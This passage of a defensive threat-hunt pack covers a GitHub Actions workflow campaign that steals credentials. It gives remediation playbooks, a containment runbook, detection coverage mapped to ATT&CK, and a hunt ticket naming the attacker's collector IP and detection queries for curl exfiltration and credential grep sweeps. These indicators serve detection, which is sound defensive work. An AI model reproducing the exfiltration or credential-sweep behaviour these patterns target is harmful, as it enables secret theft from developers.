3. For each branch that contains the file: git checkout BRANCH && git rm .github/workflows/security-audit.yml .github/workflows/github_actions_security.yml && git commit -m "Remove malicious workflow" && git push origin BRANCH
Rollback: git revert the removal commit. Not advisable; only if the file was a confirmed legitimate workflow of the same name (check content first).

Playbook 2: Org default workflow token to read-only

Prerequisites: org owner, GitHub CLI authenticated (gh auth login), list of workflows that need write.
Reboot required: no.
1. gh api -X PUT /orgs/YOUR-ORG/actions/permissions/workflow -f default_workflow_permissions=read -F can_approve_pull_request_reviews=false
2. Verify: gh api /orgs/YOUR-ORG/actions/permissions/workflow
3. Grant per-job write explicitly with a permissions: block where a workflow truly needs it.
Rollback: gh api -X PUT /orgs/YOUR-ORG/actions/permissions/workflow -f default_workflow_permissions=write
(Pilot in one repository first; releases and labeling workflows commonly rely on the old default.)

Playbook 3: Require review for workflow changes

Prerequisites: repo admin; CODEOWNERS file; branch protection or rulesets available on your plan.
Reboot required: no.
1. Add to .github/CODEOWNERS: /.github/workflows/ @YOUR-ORG/security-reviewers
2. In repository Settings, Branches (or Rules), protect the default branch: require a pull request, require review from Code Owners, restrict bypass to a small admin team.
3. Verify: attempt a direct push of a test change under .github/workflows from a non-bypass account; it must be rejected.
Rollback: remove the rule from Settings, Branches (or Rules) and revert the CODEOWNERS line. Release automation that pushes directly will need an explicit bypass actor first.

Playbook 4: Block the collector on a Linux self-hosted runner

Prerequisites: root on the runner host; runner is idle or drained.
Reboot required: no (rules are not persistent across reboot unless saved).
1. iptables -I OUTPUT -d 193.32.204.199 -j REJECT
2. Verify: iptables -C OUTPUT -d 193.32.204.199 -j REJECT && echo present
3. Persist with your distribution's mechanism (for example netfilter-persistent save).
Rollback: iptables -D OUTPUT -d 193.32.204.199 -j REJECT and re-save. No other traffic is affected; this is a single-destination rule.

Playbook 5: Check AWS use of a leaked key

Prerequisites: AWS CLI with CloudTrail read access; the exposed access key ID (REPLACE_WITH_ACCESS_KEY_ID).
Reboot required: no.
1. aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=REPLACE_WITH_ACCESS_KEY_ID --max-results 50
2. Review source addresses, regions and calls such as CreateUser and CreateAccessKey.
3. Deactivate: aws iam update-access-key --access-key-id REPLACE_WITH_ACCESS_KEY_ID --user-name REPLACE_WITH_USER --status Inactive
Rollback: aws iam update-access-key ... --status Active, only if the key is confirmed unexposed and a dependent service broke. Prefer issuing a new key.
14

Containment Runbook

PhaseActionsOwnerEvidence
IsolateDisable the compromised GitHub account's tokens and sessions; disable Actions on affected repositories until the file is removed; network-contain any self-hosted runner that contacted the collector.Platform / SecOpsQ1 and Q2 hits, run logs
ScopeEnumerate every repository the account can write to. Read line 15 of the injected file: a populated secret list means named Actions secrets were taken; an empty one means history sweep only. Treat both as present if unsure.SecOpsSection 10 search output
EradicateRemove the workflow from all branches and forks you control; check forks before enabling Actions; revoke and rotate all named secrets and every credential found in history.Repo ownersGit history clean, rotation tickets
RecoverAudit package registry releases since exposure; review cloud audit logs for each exposed key; re-enable Actions only with hardening from section 12 in place.Platform / CloudRegistry history, CloudTrail review
LessonsAdd secret push protection and workflow-file review; move cloud access to short-lived federation.Engineering leadershipPolicy changes
15

Detection Coverage Map

TechniqueBehaviorCQLIOACrowdStrike coverageSentinelOneDefender XDR
T1078Maintainer account takeoverNoneNoneGAPGAPGAP
T1059.004Workflow executes on a GitHub-hosted runnerNoneNoneGAP (no sensor on GitHub-hosted runners)GAPGAP
T1059.004Workflow executes on a self-hosted runnerQ5, Q2, Q3Q2GoodGood, with assumptionsGood, with assumptions
T1213.003Full-history patch dumpQ3NonePartialPartial: same limit as CrowdStrikePartial: same limit as CrowdStrike
T1552.001Credential regex sweepQ4Q4GoodGood, with assumptionsGood, with assumptions
T1048.003HTTP exfiltration to collectorQ1, Q2, Q7Q1, Q2GoodGood, with assumptionsGood, with assumptions
T1036.005Poisoned workflow file arrives on a workstationQ6NonePartial (file arrival not logged)Partial: same limit as CrowdStrikePartial: same limit as CrowdStrike
T1078.004Stolen AWS and AI keys reusedQ8NonePartial (sensored hosts only)Partial: same limit as CrowdStrikePartial: same limit as CrowdStrike

Validation gates: telemetry ready on runner hosts, 14-day benign baseline for Q3, Q6, Q7, Q8, positive test for Q2 and Q4, then promotion as in section 11.

16

Hunt Summary Ticket

TITLE: GhostAction GitHub Actions credential theft hunt (October 2026 wave)
SEVERITY: High (active, 500+ compromised accounts reported)
SCOPE: self-hosted GitHub Actions runners, developer and CI workstations, any sensored host; GitHub org audit; cloud and AI key use
HYPOTHESIS: A poisoned workflow executed on a self-hosted runner or reached a workstation, and credentials left over plain HTTP to 193.32.204.199
QUERIES: Q1 collector connection, Q2 curl to collector, Q3 git log -p --all, Q4 credential grep sweep, Q5 runner inventory, Q6 workflow filename, Q7 raw-IP HTTP, Q8 AI API rare process
DO FIRST: GitHub code search for AKIA_CTX_START and both workflow paths; run Q5 then Q1 and Q2 on runner hosts
FINDINGS: (fill in)
GAPS: GitHub-hosted runner execution is outside endpoint telemetry; workflow file arrival on a workstation is not logged; key reuse from unsensored hosts is invisible here
ACTIONS: remove workflow from all branches, revoke account tokens, rotate all named and historical secrets, block collector IP, apply section 12 controls
OWNER: HuntPack
VERSION: v0.1 2026-10-13
17

Changelog

v0.12026-10-13Initial release. Eight CQL queries, one importable IOC, honest coverage gap for GitHub-hosted runners, four source snapshots. SentinelOne PowerQuery and Microsoft Defender KQL tabs added to Q1-Q8: SIEM Query Rosetta release 0.1.0 (public-beta; static-reviewed translations).
18

References

TierSourceUsed forAccess date
PrimarySocket: New GhostAction Wave Hits Hundreds of ReposWorkflow text, patterns, IOC list, scale2026-10-13
PrimaryStepSecurity: GhostAction ReturnsIndependent analysis, run-log forensics, markers2026-10-13
SecondaryThe Hacker News: Credential-Stealing GitHub Actions WorkflowsSummary, GitGuardian figures2026-10-13
SecondaryCloud Security Alliance research noteRunner egress guidance2026-10-13

Generated 2026-10-13 by HuntPack. Defensive content only.